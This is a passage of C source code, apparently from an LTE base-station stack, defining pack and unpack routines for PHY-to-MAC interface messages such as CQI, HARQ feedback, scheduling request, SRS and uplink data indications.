* quality i.e. the transmission from UE as calculated at the Physical layer at
* the eNodeB.
* It carries a list of subband CQIs for each UE.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param ulCqiInd Pointer to the TfuUlCqiIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUlCqiInd
(
TfuUlCqiInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUlCqiInd(func, pst, mBuf)
TfuUlCqiInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TfuUlCqiIndInfo *ulCqiInd;
TRC3(cmUnpkTfuUlCqiInd)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU046, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuUlCqiIndInfo), TFU_BLKSZ, &sMem, (Ptr *)&ulCqiInd)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU047, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuUlCqiIndInfo(ulCqiInd, (Ptr)&ulCqiInd->memCp, mBuf) != ROK) {
TFU_FREE_MEM(ulCqiInd);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU048, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&ulCqiInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
TFU_FREE_MEM(ulCqiInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, ulCqiInd));
}
/***********************************************************
*
* Func : cmPkTfuHqInd
*
*
* Desc : This Primitive carries the HARQ Feedback from PHY to scheduler
* @details HARQ feedback is sent by the UE to the eNodeB, an ACK is sent if UE
* could successfully recieve the data transmitted by the eNodeB, else a NACK is
* sent. This feedback is utilized by MAC for further scheduling, for instance
* it could schedule an adaptive retransmission of the same data.
* @param pst
* @param spId
* @param tfuHqInd pointer to TfuHqIndInfo
* @return
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuHqInd
(
Pst * pst,
SpId spId,
TfuHqIndInfo * hqInd
)
#else
PUBLIC S16 cmPkTfuHqInd(pst, spId, hqInd)
Pst * pst;
SpId spId;
TfuHqIndInfo * hqInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuHqInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU049, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(hqInd);
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuHqIndInfo(hqInd, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU050, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(hqInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)hqInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
TFU_FREE_MEM(hqInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(spId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU051, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(hqInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
TFU_FREE_MEM(hqInd);
}
pst->event = (Event) EVTTFUHQIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuHqInd
*
*
* Desc : This Primitive carries the HARQ Feedback from PHY to scheduler
* @details HARQ feedback is sent by the UE to the eNodeB, an ACK is sent if UE
* could successfully recieve the data transmitted by the eNodeB, else a NACK is
* sent. This feedback is utilized by MAC for further scheduling, for instance
* it could schedule an adaptive retransmission of the same data.
* @param pst
* @param spId
* @param tfuHqInd pointer to TfuHqIndInfo
* @return
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuHqInd
(
TfuHqInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuHqInd(func, pst, mBuf)
TfuHqInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SpId spId;
TfuHqIndInfo *hqInd;
TRC3(cmUnpkTfuHqInd)
if (SUnpkS16(&spId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU052, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuHqIndInfo), TFU_BLKSZ, &sMem, (Ptr *)&hqInd)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU053, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuHqIndInfo(hqInd, (Ptr)&hqInd->memCp, mBuf) != ROK) {
TFU_FREE_MEM(hqInd);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU054, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&hqInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
TFU_FREE_MEM(hqInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, spId, hqInd));
}
/***********************************************************
*
* Func : cmPkTfuSrInd
*
*
* Desc : This Primitive carries the SR Indication from PHY to scheduler.
* @details Scheduling Request (SR) is sent by the UE to the eNodeB to request
* for Uplink (UL) grant. This primitive carries a list of SRs for a number of
* UEs received in the indicated subframe.
* @param pst
* @param spId
* @param tfqSrInd pointer to TfuSrIndInfo
* @return
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSrInd
(
Pst * pst,
SpId spId,
TfuSrIndInfo * srInd
)
#else
PUBLIC S16 cmPkTfuSrInd(pst, spId, srInd)
Pst * pst;
SpId spId;
TfuSrIndInfo * srInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuSrInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU055, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(srInd);
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuSrIndInfo(srInd, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU056, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(srInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)srInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
TFU_FREE_MEM(srInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(spId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU057, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(srInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
TFU_FREE_MEM(srInd);
}
pst->event = (Event) EVTTFUSRIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuSrInd
*
*
* Desc : This Primitive carries the SR Indication from PHY to scheduler.
* @details Scheduling Request (SR) is sent by the UE to the eNodeB to request
* for Uplink (UL) grant. This primitive carries a list of SRs for a number of
* UEs received in the indicated subframe.
* @param pst
* @param spId
* @param tfqSrInd pointer to TfuSrIndInfo
* @return
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSrInd
(
TfuSrInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSrInd(func, pst, mBuf)
TfuSrInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SpId spId;
TfuSrIndInfo *srInd;
TRC3(cmUnpkTfuSrInd)
if (SUnpkS16(&spId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU058, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuSrIndInfo), TFU_BLKSZ, &sMem, (Ptr *)&srInd)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU059, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuSrIndInfo(srInd, (Ptr)&srInd->memCp, mBuf) != ROK) {
TFU_FREE_MEM(srInd);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU060, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&srInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
TFU_FREE_MEM(srInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, spId, srInd));
}
/***********************************************************
*
* Func : cmPkTfuDlCqiInd
*
*
* Desc : This API is used to indicate the reception of CQI report from PHY to
* Scheduler, also carries the RI.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param dlCqiInd Pointer to the TfuDlCqiIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDlCqiInd
(
Pst * pst,
SuId suId,
TfuDlCqiIndInfo * dlCqiInd
)
#else
PUBLIC S16 cmPkTfuDlCqiInd(pst, suId, dlCqiInd)
Pst * pst;
SuId suId;
TfuDlCqiIndInfo * dlCqiInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuDlCqiInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU061, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(dlCqiInd);
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuDlCqiIndInfo(dlCqiInd, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU062, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(dlCqiInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)dlCqiInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
TFU_FREE_MEM(dlCqiInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU063, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(dlCqiInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
TFU_FREE_MEM(dlCqiInd);
}
pst->event = (Event) EVTTFUDLCQIIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuDlCqiInd
*
*
* Desc : This API is used to indicate the reception of CQI report from PHY to
* Scheduler, also carries the RI.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param dlCqiInd Pointer to the TfuDlCqiIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDlCqiInd
(
TfuDlCqiInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDlCqiInd(func, pst, mBuf)
TfuDlCqiInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TfuDlCqiIndInfo *dlCqiInd;
TRC3(cmUnpkTfuDlCqiInd)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU064, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuDlCqiIndInfo), TFU_BLKSZ, &sMem, (Ptr *)&dlCqiInd)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU065, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuDlCqiIndInfo(dlCqiInd, (Ptr)&dlCqiInd->memCp, mBuf) != ROK) {
TFU_FREE_MEM(dlCqiInd);
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU066, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&dlCqiInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
TFU_FREE_MEM(dlCqiInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, dlCqiInd));
}
#ifdef TFU_UPGRADE
/***********************************************************
*
* Func : cmPkTfuRawCqiInd
*
*
* Desc : This Primitive is used to convey the Raw CQI information
* transmitted by the UE.
* @details Raw CQI report is the actual bits transmitted by the UE when
* reporting CQI/PMI/RI. The interpretation of these bits to CQI/subband CQI
* etc. shall be done by MAC.
*
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param cqiInd Pointer to the TfuRawCqiIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuRawCqiInd
(
Pst * pst,
SuId suId,
TfuRawCqiIndInfo * rawCqiInd
)
#else
PUBLIC S16 cmPkTfuRawCqiInd(pst, suId, rawCqiInd)
Pst * pst;
SuId suId;
TfuRawCqiIndInfo * rawCqiInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuRawCqiInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU067, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(rawCqiInd);
RETVALUE(RFAILED);
}
cmPkTfuRawCqiIndInfo(rawCqiInd, mBuf);
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU068, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(rawCqiInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
TFU_FREE_MEM(rawCqiInd);
pst->event = (Event) EVTTFURAWCQIIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuRawCqiInd
*
*
* Desc : This Primitive is used to convey the Raw CQI information
* transmitted by the UE.
* @details Raw CQI report is the actual bits transmitted by the UE when
* reporting CQI/PMI/RI. The interpretation of these bits to CQI/subband CQI
* etc. shall be done by MAC.
*
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param cqiInd Pointer to the TfuRawCqiIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuRawCqiInd
(
TfuRawCqiInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuRawCqiInd(func, pst, mBuf)
TfuRawCqiInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TfuRawCqiIndInfo *rawCqiInd;
TRC3(cmUnpkTfuRawCqiInd)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU069, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
{
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuRawCqiIndInfo), TFU_BLKSZ, &sMem, (Ptr *)&rawCqiInd)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU070, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
cmUnpkTfuRawCqiIndInfo(rawCqiInd, (Ptr)&rawCqiInd->memCp, mBuf);
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, rawCqiInd));
}
/***********************************************************
*
* Func : cmPkTfuSrsInd
*
*
* Desc : This Primitive is used to convey the information derived by the
* physical layer from the SRS transmission from the UE.
* @details This primitive carries information derived from the SRS transmission
* from the UE.
*
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param srsInd Pointer to the TfuSrIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSrsInd
(
Pst * pst,
SuId suId,
TfuSrsIndInfo * srsInd
)
#else
PUBLIC S16 cmPkTfuSrsInd(pst, suId, srsInd)
Pst * pst;
SuId suId;
TfuSrsIndInfo * srsInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuSrsInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU071, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(srsInd);
RETVALUE(RFAILED);
}
cmPkTfuSrsIndInfo(srsInd, mBuf);
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU072, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(srsInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
TFU_FREE_MEM(srsInd);
pst->event = (Event) EVTTFUSRSIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuSrsInd
*
*
* Desc : This Primitive is used to convey the information derived by the
* physical layer from the SRS transmission from the UE.
* @details This primitive carries information derived from the SRS transmission
* from the UE.
*
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param srsInd Pointer to the TfuSrIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSrsInd
(
TfuSrsInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSrsInd(func, pst, mBuf)
TfuSrsInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TfuSrsIndInfo *srsInd;
TRC3(cmUnpkTfuSrsInd)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU073, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
{
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuSrsIndInfo), TFU_BLKSZ, &sMem, (Ptr *)&srsInd)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU074, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
cmUnpkTfuSrsIndInfo(srsInd, (Ptr)&srsInd->memCp, mBuf);
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, srsInd));
}
#endif
/***********************************************************
*
* Func : cmPkTfuDatInd
*
*
* Desc : This Primitive carries the Data PDUs from PHY to MAC.
* @details The uplink Data i.e. the data transmitted by the UEs received by the
* physical layer at the eNodeB in the subframe (indicated by the timingInfo),
* is relayed to MAC using this primitive.
* @param pst
* @param spId
* @param tfuDatInd pointer to TfuDatIndInfo
* @return
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDatInd
(
Pst * pst,
SpId spId,
TfuDatIndInfo * datInd
)
#else
PUBLIC S16 cmPkTfuDatInd(pst, spId, datInd)
Pst * pst;
SpId spId;
TfuDatIndInfo * datInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuDatInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU075, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(datInd);
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuDatIndInfo(datInd, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU076, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(datInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if(cmPkPtr((PTR)datInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
TFU_FREE_MEM(datInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(spId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU077, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(datInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
TFU_FREE_MEM(datInd);
}
pst->event = (Event) EVTTFUDATIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuDatInd
*
*
